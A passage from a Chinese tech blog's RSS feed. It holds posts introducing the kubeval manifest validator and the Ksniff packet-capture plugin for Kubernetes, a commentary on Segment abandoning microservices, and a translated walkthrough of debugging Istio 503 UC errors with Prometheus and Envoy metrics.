      <guid>/post/intro-kubeval/</guid>
      <description>

&lt;p&gt;这次要介绍的是一个用于验证 Kubernetes 对象文档结构的小工具：&lt;a href=&#34;https://github.com/instrumenta/kubeval&#34; target=&#34;_blank&#34;&gt;kubeval&lt;/a&gt;。它能够对一个或多个 Kubernetes 或 OpenShift 的对象文档进行校验。它所依赖的 Schema 数据来自于 Open API 所生成的内容，所以校验过程中无需和 API Server 进行交互，也正因如此，对各种第三方 CRD 的支持也暂时无能为力，另外还需要有 Schema 库的支持。&lt;/p&gt;

&lt;p&gt;这个工具在直接和 Kubernetes 交互的环境中有点画蛇添足，但是如果是在 CICD Pipeline 中，或者是没有 Kubernetes 集群可用的情况下，就很趁手了。&lt;/p&gt;

&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;

&lt;h3 id=&#34;linux&#34;&gt;Linux&lt;/h3&gt;

&lt;p&gt;直接下载安装版即可。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;wget https://github.com/instrumenta/kubeval/releases/download/0.9.2/kubeval-linux-amd64.tar.gz
tar xf kubeval-linux-amd64.tar.gz
sudo cp kubeval /usr/local/bin
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;macos&#34;&gt;MacOS&lt;/h3&gt;

&lt;p&gt;可以下载安装：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;wget https://github.com/instrumenta/kubeval/releases/download/0.9.2/kubeval-darwin-amd64.tar.gz
tar xf kubeval-darwin-amd64.tar.gz
sudo cp kubeval /usr/local/bin
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;也可以使用 Homebrew：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;brew tap instrumenta/instrumenta
brew install kubeval
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;windows&#34;&gt;Windows&lt;/h3&gt;

&lt;p&gt;除了在 Release 页面下载 zip 包之外，还可以用 &lt;a href=&#34;https://scoop.sh/&#34; target=&#34;_blank&#34;&gt;scoop&lt;/a&gt; 进行安装：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;scoop bucket add instrumenta https://github.com/instrumenta/bucket-instrumenta
scoop install kubeval
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;docker&#34;&gt;Docker&lt;/h3&gt;

&lt;p&gt;还提供了 Docker 的运行方式，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ docker run -it -v `pwd`/fixtures:/fixtures garethr/kubeval fixtures/*
Missing a kind key in /fixtures/blank.yaml
The document fixtures/int_or_string.yaml contains a valid Service
The document fixtures/int_or_string_false.yaml contains an invalid Deployment
--&amp;gt; spec.template.spec.containers.0.env.0.value: Invalid type. Expected: string, given: integer
The document fixtures/invalid.yaml contains an invalid ReplicationController
--&amp;gt; spec.replicas: Invalid type. Expected: integer, given: string
Missing a kind key in /fixtures/missing-kind.yaml
The document fixtures/valid.json contains a valid Deployment
The document fixtures/valid.yaml contains a valid ReplicationController
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;使用&#34;&gt;使用&lt;/h2&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubeval --help
Validate a Kubernetes YAML file against the relevant schema

Usage:
  kubeval &amp;lt;file&amp;gt; [file...] [flags]

Flags:
  -f, --filename string             filename to be displayed when testing manifests read from stdin (default &amp;quot;stdin&amp;quot;)
  -h, --help                        help for kubeval
  -v, --kubernetes-version string   Version of Kubernetes to validate against (default &amp;quot;master&amp;quot;)
      --openshift                   Use OpenShift schemas instead of upstream Kubernetes
      --schema-location string      Base URL used to download schemas. Can also be specified with the environment variable KUBEVAL_SCHEMA_LOCATION (default &amp;quot;https://kubernetesjsonschema.dev&amp;quot;)
      --strict                      Disallow additional properties not in schema
      --version                     version for kubeval
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;参数很少，但是都比较有用：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-v&lt;/code&gt;：指定 Kubernetes 版本，例如 &lt;code&gt;1.14.2&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--openshift&lt;/code&gt;：对 Openshift 对象进行校验。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--schema-location&lt;/code&gt;：指定 Schema 库的位置，缺省为 &lt;code&gt;https://kubernetesjsonschema.dev&lt;/code&gt;，可以使用环境变量 &lt;code&gt;KUBEVAL_SCHEMA_LOCATION&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--strict&lt;/code&gt;：禁止出现 Schema 中未规定的字段。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubeval sleep.yaml
The document sleep.yaml contains a valid ServiceAccount
The document sleep.yaml contains a valid Service
The document sleep.yaml contains a valid Deployment
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;或者也可以使用管道：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ cat sleep.yaml|kubeval
The document stdin contains a valid ServiceAccount
The document stdin contains a valid Service
The document stdin contains a valid Deployment
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;指定版本进行校验：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubeval -v 1.10.0 sleep.yaml
The document sleep.yaml contains a valid ServiceAccount
The document sleep.yaml contains a valid Service
The document sleep.yaml contains a valid Deployment
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;使用自己的-schema-库&#34;&gt;使用自己的 Schema 库&lt;/h2&gt;

&lt;p&gt;前面提到过一个参数：&lt;code&gt;--schema-location&lt;/code&gt;，推测应该是用于在无法访问缺省模式库的时候的替补方案，要建立自己的模式库也很方便，只要使用 git 获取在线内容，并使用 Web Server 或者本地文件系统提供服务就可以了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ cd /doc
$ git clone https://github.com/instrumenta/kubernetes-json-schema
正克隆到 &#39;kubernetes-json-schema&#39;...
...
$ kubeval --schema-location file:///doc/kubernetes-json-schema  test.yaml
The document test.yaml contains a valid Service
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;问题&#34;&gt;问题&lt;/h2&gt;

&lt;p&gt;似乎目前对 1.8 之前的版本支持还不够好，慎用。&lt;/p&gt;

&lt;h2 id=&#34;参考&#34;&gt;参考&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;项目地址：&lt;code&gt;https://github.com/instrumenta/kubeval&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;文档结构库：&lt;code&gt;https://github.com/instrumenta/kubernetes-json-schema&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;使用说明：&lt;code&gt;https://kubeval.instrumenta.dev/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Segment 微服务反水案的一点思考</title>
      <link>/post/about-segment-and-microservice/</link>
      <pubDate>Sun, 09 Jun 2019 23:58:26 +0800</pubDate>
      <guid>/post/about-segment-and-microservice/</guid>
      <description>

&lt;p&gt;2015 年底，Segment 博客刊登了一篇文章，&lt;a href=&#34;https://segment.com/blog/why-microservices/&#34; target=&#34;_blank&#34;&gt;Why Microservices Work For Us（下文简称为《Work》）&lt;/a&gt;，三年多，又来了一篇更具话题性的新作：&lt;a href=&#34;https://segment.com/blog/goodbye-microservices/&#34; target=&#34;_blank&#34;&gt;Goodbye Microservices: From 100s of problem children to 1 superstar（下文简称为《Bye》）&lt;/a&gt;，两相比较，感觉还是有一定的代表性的，这里做一点整理和记录。&lt;/p&gt;

&lt;h2 id=&#34;微服务的动机&#34;&gt;微服务的动机&lt;/h2&gt;

&lt;p&gt;《Work》中提到，主要是因为原有架构中，故障处理不力，需要有更快的诊断和处理方法，这里提到了两个途径：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;问题的快速定位：借助更细致方便的监控指标，为突发事件提供明确指导。&lt;/li&gt;
&lt;li&gt;问题的快速解决：在定位问题之后，能够更好的从源码中获得支持并解决问题。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;要针对某个功能加入监控指标，在原有单体架构中可能会造成不必要的影响，范围不易控制；而源码方面，越小的服务，通常也代表着相对易读的代码；这两个主要需求都指向了同样的解决方案：微服务。&lt;/p&gt;

&lt;h2 id=&#34;微服务带来的好处&#34;&gt;微服务带来的好处&lt;/h2&gt;

&lt;p&gt;将原有单体应用拆分为微服务之后，不但解决了监控和排错的问题，还带来了一些额外的好处：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;隔离的消息队列，不同订阅互不干涉&lt;/li&gt;
&lt;li&gt;隔离系统资源，如 CPU 和内存。&lt;/li&gt;
&lt;li&gt;隔离网络，如 ELB。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;这里只是原文中提到的好处，更多的照本宣科内容这里就不赘述了。&lt;/p&gt;

&lt;h2 id=&#34;改造的隐忧&#34;&gt;改造的隐忧&lt;/h2&gt;

&lt;p&gt;《Work》一文中提到了两次，新建微服务应该如何如何。作者似乎认为，微服务有必要更快的创建起来。但按照我的理解，微服务仅是通过进程隔离的强制手段使得模块之间的边界更加清晰，事实上，因为缺乏单体应用强大的上下文支持，同一系统内的不同微服务，往往会因为上下文问题，导致更加复杂的开发过程。&lt;/p&gt;

&lt;h2 id=&#34;bye-一文中补充的拆分过程&#34;&gt;《Bye》一文中补充的拆分过程&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;单代码库阶段&lt;/p&gt;

&lt;p&gt;因为缺乏有效的时间说明，这一操作让人很迷惑，不知道是不是在《Work》发表的时候，各个服务还是在共用同一套代码。也在共用同一套测试方案。《Bye》中提到，一个失败的提交会导致整体测试失败，因此我们大致可以说，这一阶段里，CI/CD 过程也没能完成分割，个人认为，这种情况不太应该算作微服务。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;多代码库阶段&lt;/p&gt;

&lt;p&gt;为微服务独立创建各自的代码库，并享用各自的测试组件。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;共享库阶段&lt;/p&gt;

&lt;p&gt;我认为这一阶段呼应了前面的隐忧，在微服务落地之处，为了更快的建立微服务，开始出现了跨服务的共享代码库。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;败局的开始&#34;&gt;败局的开始&lt;/h2&gt;

&lt;p&gt;《Bye》的共享代码库一节，罗列了不少遇到的问题：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;共享库版本出现碎片：因为工程需要，并不敢冒险同时更新的多个服务的共享代码，造成部分服务的共享代码滞后。&lt;/li&gt;
&lt;li&gt;伸缩能力：微服务架构经常鼓吹的能力，在这里似乎被狠狠抽了一巴掌。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;个人的一点分析&#34;&gt;个人的一点分析&lt;/h2&gt;

&lt;p&gt;我眼中的微服务，务虚的角度上来说，有两个关键字：妥协，怀疑。&lt;/p&gt;

&lt;p&gt;这里所说的妥协指的是，我们的系统是存活于一个非“理想状态”中的，不管是“拥抱变化”，还是“面向故障”，都是对不完美世界的具体应对方式。&lt;/p&gt;

&lt;p&gt;而怀疑的设计态度，最简单的证据就是对隔离的强调，系统资源、数据的隔离都如此强调，我想，代码的隔离是不言自明的。&lt;/p&gt;

&lt;p&gt;反观 Segement 的重构之路，（可能）在宣称微服务的时候，各个服务还躺在同一个仓库里，还在共享同样的测试过程。&lt;/p&gt;

&lt;p&gt;在进行代码分离之后，又出现了两个不太容易理解的纰漏：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;暧昧的代码：前面提到，怀疑是微服务的基本态度，从《Bye》文中可以看到，他们在几十个服务之间共享了需要进行频繁重构的代码，抛开微服务和单体之争不谈，这个行为实在是无法理喻。&lt;/li&gt;
&lt;li&gt;暧昧的负载：在拆分之后，按照《Work》的说法，每个微服务都有了独立的队列和监控，由此推论，各个微服务的负载模型应该是比较容易做个描述的，很可惜的，这里称之为一种艺术。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;回到单体之后&#34;&gt;回到单体之后&lt;/h2&gt;

&lt;p&gt;此处内容给人一种感觉：“今天是个好日子”。给我的感觉是，一些原本应该在微服务阶段完成的工作，甚至是在微服务阶段之前的单体阶段完成的工作，终于完成了——例如改进的测试方案，这能算是半渡而击么？&lt;/p&gt;

&lt;h2 id=&#34;牢骚&#34;&gt;牢骚&lt;/h2&gt;

&lt;p&gt;流水账写到这里，有两个深刻的印象就是，这个团队从来没想过这些微服务是彼此独立的，也从来没把每个服务作为一个单独的交付物进行完善。从这个印象出发，回到单体形态，可以说是——得其所哉。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>介绍一个小工具：Ksniff</title>
      <link>/post/intro-ksniff/</link>
      <pubDate>Wed, 05 Jun 2019 00:22:15 +0800</pubDate>
      <guid>/post/intro-ksniff/</guid>
      <description>

&lt;p&gt;对于相当一部分读者来说，在 Kubernetes 环境中，针对 Pod 进行抓包是个常规操作，在 Pod 中、在 Node 中都能够完成，抓出文件之后现场查看或者拷贝回来喂给 Wireshark 也都不难。&lt;a href=&#34;https://github.com/eldadru/ksniff&#34; target=&#34;_blank&#34;&gt;Ksniff&lt;/a&gt;工具的作用是，把这些常规步骤组织起来，用一个简单的 kubectl 插件命令，就能完成这一系列的操作。&lt;/p&gt;

&lt;p&gt;Ksniff 有几个很有意思的特色：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;可以使用 &lt;a href=&#34;https://github.com/kubernetes-sigs/krew&#34; target=&#34;_blank&#34;&gt;krew&lt;/a&gt; 方便的进行安装。&lt;/li&gt;
&lt;li&gt;能够自动把 Pod 的 TCP Dump 数据输出给 Wireshark。&lt;/li&gt;
&lt;li&gt;能够方便的处理非特权 Pod 的抓包工作。&lt;/li&gt;
&lt;li&gt;无需触碰 Node。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;

&lt;p&gt;使用 Krew 能够很方便的安装 Ksniff：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl krew install sniff
Updated the local copy of plugin index.
Installing plugin: sniff
CAVEATS:
\
 |  This plugin needs the following programs:
 |  * wireshark (optional, used for live capture)
/
Installed plugin: sniff
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;抓包到-wireshark&#34;&gt;抓包到 Wireshark&lt;/h2&gt;

&lt;p&gt;部署一个简单的 httpbin 服务：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Service
metadata:
  name: httpbin
  labels:
    app: httpbin
spec:
  ports:
  - name: http
    port: 8000
    targetPort: 80
  selector:
    app: httpbin
---
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: httpbin
spec:
  replicas: 1
  template:
    metadata:
      labels:
        app: httpbin
        version: v1
    spec:
      containers:
      - image: docker.io/kennethreitz/httpbin
        imagePullPolicy: IfNotPresent
        name: httpbin
        ports:
        - containerPort: 80
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;服务启动之后，再启动一个客户端：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: sleep
spec:
  replicas: 1
  template:
    metadata:
      labels:
        app: sleep
        version: v1
    spec:
      containers:
        - name: sleep
          image: dustise/sleep
          imagePullPolicy: IfNotPresent
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后就可以启动 &lt;code&gt;ksniff&lt;/code&gt; 插件来对 &lt;code&gt;httpbin&lt;/code&gt; 的 Pod 进行监听了，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl sniff httpbin-5fc7cf895d-lr89b
...
INFO[0000] sniffing method: upload static tcpdump
...
INFO[0000] using tcpdump path at: &#39;/Users/dustise/.krew/store/sniff/

。。。INFO[0002] executing command: &#39;[/tmp/static-tcpdump -i any -U -w - ]&#39; on container: &#39;httpbin&#39;, pod: &#39;httpbin-5fc7cf895d-lr89b&#39;, namespace: &#39;default&#39;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;不难看出，ksniff 非常粗暴的将一个 tcpdump 上传到了被抓包的 Pod 上直接运行。并且命令执行后，直接启动了 Wireshark 进行监听。&lt;/p&gt;

&lt;p&gt;下面从 sleep Pod 上给被监听 Pod 制造一点流量。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl exec -it sleep-69bd44b5bb-tk6vn -- curl http://httpbin:8000/ip
{
  &amp;quot;origin&amp;quot;: &amp;quot;10.244.0.19&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在 Wireshark 中会看到相应的数据包：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/wireshark.png&#34; alt=&#34;wireshark&#34; /&gt;&lt;/p&gt;

&lt;p&gt;查看一下被监听 Pod 的进程：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl exec -it httpbin-5fc7cf895d-lr89b -- ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.6  85980 25100 ?        Ss   15:42   0:01 /usr/bin/python
root         8  0.0  0.8 130364 35164 ?        S    15:42   0:01 /usr/bin/python
root        35  0.0  0.0   6392  3568 ?        Ss   15:50   0:00 /tmp/static-tcp
root        47  0.0  0.0   6392  3564 ?        Ss   15:58   0:00 /tmp/static-tcp
root        70  0.0  0.0   6392  3564 ?        Ss   16:17   0:00 /tmp/static-tcp
root        90  0.0  0.0   6392  3568 ?        Ss   17:01   0:00 /tmp/static-tcp
root       102  0.0  0.0   6392  3568 ?        Ss   17:05   0:00 /tmp/static-tcp
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;不难看到，多出了几个 &lt;code&gt;/tmp/static-tcp&lt;/code&gt; 的进程。&lt;/p&gt;

&lt;h2 id=&#34;无特权-pod-怎么办&#34;&gt;无特权 Pod 怎么办&lt;/h2&gt;

&lt;p&gt;Ksniff 还提供了 &lt;code&gt;-p&lt;/code&gt; 参数，用于针对无特权 Pod 进行监听。带有这一参数之后，查询目标 Pod 所在节点，然后在该节点上利用节点亲和性创建共享节点网络的特权 Pod，然后在新 Pod 上对流量进行监控。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl sniff httpbin-5fc7cf895d-lr89b -p                                                                 1.1  ✱
INFO[0000] sniffing method: privileged pod
INFO[0000] using tcpdump path at: &#39;/Users/dustise/.krew/store/sniff/71102253eded8900c8f7b0d0624c65b3c77ecd6bcd28fabc9a200da
ac502282a/static-tcpdump&#39;
INFO[0000] no container specified, taking first container we found in pod.
INFO[0000] selected container: &#39;httpbin&#39;
...
INFO[0000] creating privileged pod on node: &#39;vla&#39;
...
INFO[0008] pod: &#39;ksniff-qpznn&#39; created successfully on node: &#39;vla&#39;

$ kubectl get pods

flaskapp-v1-5f58cbc685-9v4z9   1/1     Running   0          92m
httpbin-5fc7cf895d-lr89b       1/1     Running   0          93m
ksniff-689sx                   1/1     Running   0          66m
sleep-69bd44b5bb-tk6vn         1/1     Running   0          93m
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，ksniff 创建了新的 Pod。并且也成功的启动了 Wireshark。再次执行：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl exec -it sleep-69bd44b5bb-tk6vn -- curl http://httpbin:8000/ip
{
  &amp;quot;origin&amp;quot;: &amp;quot;10.244.0.19&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，Wireshark 中出现了新的数据包。&lt;/p&gt;

&lt;h2 id=&#34;参考链接&#34;&gt;参考链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;https://github.com/kubernetes-sigs/krew&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://github.com/eldadru/ksniff&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Istio：503、UC 和 TCP</title>
      <link>/post/istio-503-uc-debug/</link>
      <pubDate>Tue, 04 Jun 2019 16:53:52 +0800</pubDate>
      <guid>/post/istio-503-uc-debug/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://karlstoney.com/2019/05/31/istio-503s-ucs-and-tcp-fun-times/index.html&#34; target=&#34;_blank&#34;&gt;Istio: 503&amp;rsquo;s with UC&amp;rsquo;s and TCP Fun Times
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://karlstoney.com/&#34; target=&#34;_blank&#34;&gt;Karlstoney.com&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;最近 AutoTrader 在调试一个有些复杂的问题，这一过程得到了 Istio 团队的很多帮助。这个问题现在已经基本得到了解决，这一过程中采取的一些措施可能对其他用户有所启发，因此有了本文。&lt;/p&gt;

&lt;h2 id=&#34;问题&#34;&gt;问题&lt;/h2&gt;

&lt;p&gt;我们注意到有些请求在第一次尝试的时候会失败，Istio 会自动进行重试，然后就成功了。在 Jaeger 中观察可以看到：第一个请求是 503 状态，&lt;code&gt;response_flags&lt;/code&gt; 为 &lt;code&gt;UC&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/Screenshot-2019-05-31-at-18.21.52.png&#34; alt=&#34;jaeger&#34; /&gt;&lt;/p&gt;

&lt;p&gt;如果你在关注或者正在使用 Istio，你可能会看到&lt;a href=&#34;https://github.com/istio/istio/issues/13848&#34; target=&#34;_blank&#34;&gt;很多千奇百怪的 503&lt;/a&gt;。目前 503 的主要问题就是，它太模糊了。&lt;/p&gt;

&lt;p&gt;看看这个简单的例子：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/simple-app.png&#34; alt=&#34;simple app&#34; /&gt;&lt;/p&gt;

&lt;p&gt;基本上，应用 2 的 Envoy 和应用通信过程中的任何问题都会被包裹成 503，发送回上游，然后上游就会进行重试。&lt;/p&gt;

&lt;p&gt;不管怎样，有了 Istio，重试并不是世界末日。Istio 检测到故障后进行重试，然后给上游返回了成功信息。然而值得注意的是，故障总会发生，我们应该面向故障进行应用的构建。我们的应用跨越多个 AZ，出现这种奇怪的问题，会有很多可能的错误源头。&lt;/p&gt;

&lt;p&gt;我们观察到，大概 0.012% 的请求发生了这种问题。我们的应用是一种微服务架构，这一种故障和 5 个应用相关，这样会看到 0.08% 的聚合请求失败率，（稳定的故障率）表明，这并非是偶然情况。&lt;/p&gt;

&lt;p&gt;当你开始考虑这一故障时，会注意到 Sidecar 模型增加了应用通信过程的复杂度，这就是网格的代价之一。&lt;/p&gt;

&lt;p&gt;回忆一下没有服务网格的世界，&lt;code&gt;consumer-gateway&lt;/code&gt; 管理一个通往 &lt;code&gt;sauron-seo-app&lt;/code&gt; 的连接池。然而有了服务网格，我们其实有了三个各行其是的连接池，各有各的配置：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/pools.png&#34; alt=&#34;pools&#34; /&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;consumer-gateway&lt;/code&gt; 到 &lt;code&gt;source-envoy&lt;/code&gt; ：Java 代码。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;source envoy&lt;/code&gt; 到 &lt;code&gt;destination envoy&lt;/code&gt;：&lt;a href=&#34;https://istio.io/docs/reference/config/networking/v1alpha3/destination-rule/#ConnectionPoolSettings&#34; target=&#34;_blank&#34;&gt;DestinationRule&lt;/a&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;destination envoy&lt;/code&gt; 到 &lt;code&gt;sauron-seo-app&lt;/code&gt;：在 Envoy 中进行配置，Istio 对其配置并无掌控。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这中间有很多出问题的机会，要查找根本原因，也有很大的排查范围。因此我们对真实场景中这一问题的应对方法进行回顾。&lt;/p&gt;

&lt;h2 id=&#34;指标&#34;&gt;指标&lt;/h2&gt;

&lt;h3 id=&#34;istio&#34;&gt;Istio&lt;/h3&gt;

&lt;p&gt;Istio 搜集了很多的指标，能帮我们凸显问题。Istio 提供的这种水平的可观测性很有趣，能能够凸显你之前发现的问题。这很直白，所以打开 Prometheus 并输入：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;sort_desc(sum(changes(istio_requests_total{response_flags=&amp;quot;UC&amp;quot;, response_code=&amp;quot;503&amp;quot;, reporter=&amp;quot;destination&amp;quot;}[24h])) by (source_app, destination_app, reporter) &amp;gt;0)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这段指标的含义是：最近 24 小时内，状态为 503 并且被标记为 UC（上游连接问题），使用 &lt;code&gt;source_app&lt;/code&gt;、 &lt;code&gt;destination_app&lt;/code&gt; 以及 &lt;code&gt;reporter&lt;/code&gt; 进行汇总。&lt;/p&gt;

&lt;p&gt;注意：上图中，&lt;code&gt;reporter=source&lt;/code&gt; 就是来自于源 Envoy，而 &lt;code&gt;reporter=destination&lt;/code&gt; 就是目标 Envoy。&lt;/p&gt;

&lt;p&gt;所以看看我得出的结果，&lt;code&gt;{destination_app=&amp;quot;sauron-seo-app&amp;quot;,reporter=&amp;quot;destination&amp;quot;,source_app=&amp;quot;consumer-gateway&amp;quot;} 58&lt;/code&gt;，这代表过去 24 小时里，从 &lt;code&gt;consumer-gateway&lt;/code&gt; 到 &lt;code&gt;sauron-seo-app&lt;/code&gt; 的请求中有 58 个出了问题，得到了 &lt;code&gt;503UC&lt;/code&gt; 的结果，这一情况是由 &lt;code&gt;sauron-seo-app&lt;/code&gt; 的 Envoy 汇报而来。&lt;/p&gt;

&lt;p&gt;我们知道了，我们在目标一端发生了问题，这也跟前面的跟踪过程中得到的结论是一致的：源服务尝试了一个不同的目标并获得成功。我们来检查一下 Envoy 发生了什么事。&lt;/p&gt;

&lt;h3 id=&#34;envoy&#34;&gt;Envoy&lt;/h3&gt;

&lt;p&gt;我们要做的下一件事就是启用一些指标，帮助我们对 Envoy 进行排查。缺省情况下 &lt;code&gt;istio-proxy&lt;/code&gt; 只提供一些核心的 Envoy 指标。我们需要更多信息。在 &lt;code&gt;Deployment&lt;/code&gt; 里加入下列注解：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;sidecar.istio.io/statsInclusionPrefixes: cluster.outbound,listener,cluster,cluster_manager,listener_manager,http_mixer_filter,tcp_mixer_filter,server,cluster.xds-grpc
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：这个指标的数据量较大，缺省是关闭的。我只会在进行排错的时候才启用这些指标，并且在完成工作后就会关闭它们。&lt;/p&gt;

&lt;p&gt;完成这一操作后，就会看到一些&lt;a href=&#34;https://www.envoyproxy.io/docs/envoy/latest/configuration/cluster_manager/cluster_stats&#34; target=&#34;_blank&#34;&gt;新指标&lt;/a&gt;，例如 &lt;code&gt;envoy_cluster_upstream_cx_destroy_local_with_active_rq&lt;/code&gt; 和 &lt;code&gt;envoy_cluster_upstream_cx_destroy_remote_with_active_rq&lt;/code&gt;。这些指标来自 Envoy 的视角，因此它的本地和远程是这样的：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/localremote.png&#34; alt=&#34;local reote&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;envoy-cluster-upstream-cx-destroy-local-with-active-rq&#34;&gt;envoy_cluster_upstream_cx_destroy_local_with_active_rq&lt;/h4&gt;

&lt;blockquote&gt;
&lt;p&gt;本地销毁的产生一个以上活动请求的链接数量。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;听起来很恐怖吧？没人希望活动请求被杀掉，我们的目标 Envoy 说，有大量的远程销毁，而我们的源 Envoy 有大量的本地销毁。&lt;/p&gt;

&lt;p&gt;这看起来云山雾罩，所以我觉得最简单的排查方法就是把他们列在一起。这样就会看到 &lt;code&gt;local&lt;/code&gt; 指标在源 Envoy 中出现，而目标 Envoy 中报告了 &lt;code&gt;remote&lt;/code&gt; 指标：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/Screenshot-2019-05-31-at-17.08.14.png&#34; alt=&#34;Grafana&#34; /&gt;&lt;/p&gt;

&lt;p&gt;上图说明 &lt;code&gt;sauron-seo-app&lt;/code&gt; 的 Envoy 和应用之间的连接关闭了。看起来是 &lt;code&gt;sauron-seo-app&lt;/code&gt; 关闭了（远程关闭）。然后 &lt;code&gt;consumer-gateway&lt;/code&gt; Envoy 也随即关闭了连接。这就能够解释 &lt;code&gt;consumer-gateway&lt;/code&gt; 在 HTTP 1.1 连接中（Envoy 之间的通信）收到的 &lt;code&gt;5xx&lt;/code&gt; 响应了。这个连接无法继续发送数据，除了关闭，别无他法（本地关闭）。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：这不是 http2.0 的情景，看起来 Istio 1.2 会有能力把 Envoy 之间的连接池切换为 http2.0。&lt;/p&gt;

&lt;p&gt;这样我们就决定，要进一步对 &lt;code&gt;sauron-seo-app&lt;/code&gt; 进行观察。&lt;/p&gt;

